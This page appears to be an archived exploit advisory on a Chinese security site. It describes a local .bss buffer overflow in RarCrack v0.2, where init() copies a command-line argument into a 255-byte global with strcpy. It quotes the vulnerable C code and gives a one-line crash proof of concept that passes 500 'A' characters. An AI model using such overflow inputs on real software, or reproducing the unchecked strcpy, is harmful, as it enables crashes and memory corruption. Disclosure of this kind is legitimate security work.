首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
RarCrack v0.2 "filename" init() .bss PoC
来源:vfocus.net 作者:Stoke 发布时间:2010-09-21  

The software can be downloaded here: http://rarcrack.sourceforge.net/
# Author: stoke
# Date: 2010-09-20
# Download: http://rarcrack.sourceforge.net/
# Tested on: Backtrack 4

#############################

Site: http://devilcode.it | http://hack2web.altervista.org

Special greetz to: nex, for reassure me when i sayed "WHY EIP IT'S NOT CHANGED!!!!!!!?!!!"

 ____                      ___              __      __                                             
/\  _`\                 __/\_ \           /'__`\   /\ \                                            
\ \ \/\ \    __  __  __/\_\//\ \     ___ /\ \/\ \  \_\ \     __         ___  _ __   __  __  __  __ 
 \ \ \ \ \ /'__`\\ \/\ \/\ \\ \ \   /'___\ \ \ \ \ /'_` \  /'__`\      /'___\\`'__\'__`\\ \/\ \/\ \
  \ \ \_\ \\  __/ \ \_/ | \ \\_\ \_/\ \__/\ \ \_\ \\ \L\ \/\  __/     /\ \__/ \ \/\  __/ \ \_/ \_/ \
   \ \____/ \____\ \___/ \ \_\\____\ \____\\ \____/ \___,_\ \____\    \ \____\ \_\ \____\ \___x___/'
    \/___/ \/____/\/__/   \/_//____/\/____/ \/___/ \/__,_ /\/____/     \/____/\/_/\/____/\/__//__/ 

Crew Members: bl3ck, stoke, Shellcoder_, n1md4, sys.x4sh, Ax3L, s1y, LostPassword, nex & overmind

 

############################
RarCrack v0.2 bss overflow PoC


###########################################
Function affected: init();

Type: local;

Variable overflowed:  filename;
###########################################

########################################################

Here we have:

----- Start useful code snip --------
char filename[255];
----- End useful code snip ----------

This variable is above the "main" function, so is global and allocated on .bss.

In init() function we have:
---- Start useful code snip ----

   if (strcmp(argv[i],"--help") == 0) {
    printf("Usage:   rarcrack encrypted_archive.ext [--threads NUM] [--type rar|zip|7z]\n\n");
    printf("Options: --help: show this screen.\n");
    printf("         --type: you can specify the archive program, this needed when\n");
    printf("                 the program couldn't detect the proper file type\n");
    printf("         --threads: you can specify how many threads\n");
    printf("                    will be run, maximum 12 (default: 2)\n\n");
    printf("Info:    This program supports only RAR, ZIP and 7Z encrypted archives.\n");
    printf("         RarCrack! usually detects the archive type.\n\n");
    help = 1;
    break; 
   } else if (strcmp(argv[i],"--threads") == 0) {
    if ((i + 1) < argc) {
     sscanf(argv[++i], "%d", &threads);
     if (threads < 1) threads = 1;
     if (threads > 12) {
      printf("INFO: number of threads adjusted to 12\n");
      threads = 12;
     }
    } else {
     printf("ERROR: missing parameter for option: --threads!\n");
     help = 1;
    }
   } else if (strcmp(argv[i],"--type") == 0) {
    if ((i + 1) < argc) {
     sscanf(argv[++i], "%s", &test);
     for (j = 0; strcmp(TYPE[j], "") != 0; j++) {
      if (strcmp(TYPE[j], test) == 0) {
       strcpy(finalcmd, CMD[j]);
       archive_type = j;
       break;
      }
     }
     if (archive_type < 0) {
      printf("WARNING: invalid parameter --type %s!\n", argv[i]);
      finalcmd[0] = '\0';
     }
    } else {
     printf("ERROR: missing parameter for option: --type!\n");
     help = 1;
    }
   } else {
    strcpy((char*)&filename, argv[i]);

---- Stop useful code snip ----

How you can see, at the end of this code we have a strcpy to our "filename" variable, so, if you put more than 255 bytes in an argv, you will have a Segmentation Fault.

###########################################################################


###########################################################################
PoC


./rarcrack `perl -e 'print "A" x500'`


###########################################################################

 


     


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft DRM Technology (msne
·BifrsoT DLL Hijacking Exploit
·Java CMM readMabCurveData Stac
·万博网站管理系统(NWEB)通杀漏洞
·VWD-CMS CSRF Vulnerability
·SWiSHmax DLL Hijacking Exploit
·Personal.Net Portal Multiple V
·RarCrack 0.2 Buffer Overflow P
·Acoustica Audio Converter Pro
·Audiotran 1.4.2.4 SEH Overflow
·Softek Barcode Reader Toolkit
·Novell iPrint Client Browser P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved